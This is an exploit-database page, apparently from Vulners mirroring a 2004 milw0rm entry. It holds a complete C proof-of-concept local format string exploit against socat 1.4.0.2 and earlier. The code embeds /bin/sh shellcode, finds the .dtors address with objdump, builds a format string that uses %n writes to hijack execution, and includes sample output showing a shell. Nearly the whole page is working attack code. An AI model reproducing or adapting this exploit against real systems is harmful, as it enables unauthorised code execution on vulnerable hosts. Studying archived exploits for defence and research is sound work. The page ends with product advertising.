Lucene search
K

socat <= 1.4.0.2 Local Format String Exploit (not setuid)

🗓️ 23 Oct 2004 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 31 Views

Local format string exploit for socat version <= 1.4.0.2, tested on Slackware 9.x.

Code

                                                /* socat_exp.c

   Socat Format String Vulnerability

   socat &lt;= 1.4.0.2 local exploit (Proof of Concept)

   Tested in Slackware 9.0 / 9.1 / 10.0

   by CoKi &lt;[email protected]&gt;
   No System Group - http://www.nosystem.com.ar
   
coki@servidor:~$ make socat_exp
coki@servidor:~$ ./socat_exp

 socat &lt;= 1.4.0.2 local exploit (Proof of Concept)
 by CoKi &lt;[email protected]&gt;

 shellcode address = 0xbfffffb9
 .dtors address    = 0x080740c4

2004/10/19 09:49:46 socat[26197] E unknown syslog facility
&quot;ÄÅÆÇ%142u%30$n%70u%31$n%256u%32$n%192u%33$n&quot;
sh-2.05b$

This exploit does not give a root shell :(   
*/

#include &lt;stdio.h&gt;
#include &lt;string.h&gt;

#define PATH &quot;/usr/local/bin/socat&quot;
#define OBJDUMP &quot;/usr/bin/objdump&quot;
#define GREP &quot;/usr/bin/grep&quot;

unsigned char shellcode[]=  /* aleph1 shellcode.45b */
        &quot;\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c&quot;
        &quot;\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb&quot;
        &quot;\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e&quot;
        &quot;\x2f\x73\x68&quot;;

int check(unsigned long addr);

int main(int argc, char *argv[]) {

        int i, dtorsaddr;
        unsigned int bal1, bal2, bal3, bal4;
        char temp[512];
        char buffer[1024];
        int cn1, cn2, cn3, cn4;
        FILE *f;
        char *env[3] = {shellcode, NULL};
        int shaddr = 0xbffffffa - strlen(shellcode) - strlen(PATH);

        sprintf(temp, &quot;%s -s -j .dtors %s | %s ffffffff&quot;, OBJDUMP, PATH, GREP);
        f = popen(temp, &quot;r&quot;);
        if(fscanf(f, &quot; %08x&quot;, &amp;dtorsaddr) != 1) {
                pclose(f);
                printf(&quot;Cannot find .dtors address\n&quot;);
                exit(1);
        }
        pclose(f);
        dtorsaddr = dtorsaddr + 4;

        printf(&quot;\n socat &lt;= 1.4.0.2 local exploit (Proof of Concept)\n&quot;);
        printf(&quot; by CoKi &lt;[email protected]&gt;\n\n&quot;);
        printf(&quot; shellcode address = %.8p\n&quot;, shaddr);
        printf(&quot; .dtors address    = %.8p\n\n&quot;, dtorsaddr);

        bzero(temp, sizeof(temp));
        bzero(buffer, sizeof(buffer));

        strcat(buffer, &quot;-ly&quot;);

        for(i = 0; i &lt; 4; i++) {
                bzero(temp, sizeof(temp));
                sprintf(temp, &quot;%s&quot;, &amp;dtorsaddr);
                strncat(buffer, temp, 4);
                dtorsaddr++;
        }

        bal1 = (shaddr &amp; 0xff000000) &gt;&gt; 24;
        bal2 = (shaddr &amp; 0x00ff0000) &gt;&gt; 16;
        bal3 = (shaddr &amp; 0x0000ff00) &gt;&gt;  8;
        bal4 = (shaddr &amp; 0x000000ff);

        cn1 = bal4 - 27 - 16;
        cn1 = check(cn1);
        cn2 = bal3 - bal4;
        cn2 = check(cn2);
        cn3 = bal2 - bal3;
        cn3 = check(cn3);
        cn4 = bal1 - bal2;
        cn4 = check(cn4);

        sprintf(temp, &quot;%%%du%%30\$n%%%du%%31\$n%%%du%%32\$n%%%du%%33\$n&quot;, cn1, cn2, cn3, cn4);

        strcat(buffer, temp);

        execle(PATH, &quot;socat&quot;, buffer, NULL, env);
}

int check(unsigned long addr) {
        char tmp[128];
        snprintf(tmp, sizeof(tmp), &quot;%d&quot;, addr);
        if(atoi(tmp) &lt; 1)
                addr = addr + 256;

        return addr;
}

// milw0rm.com [2004-10-23]
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation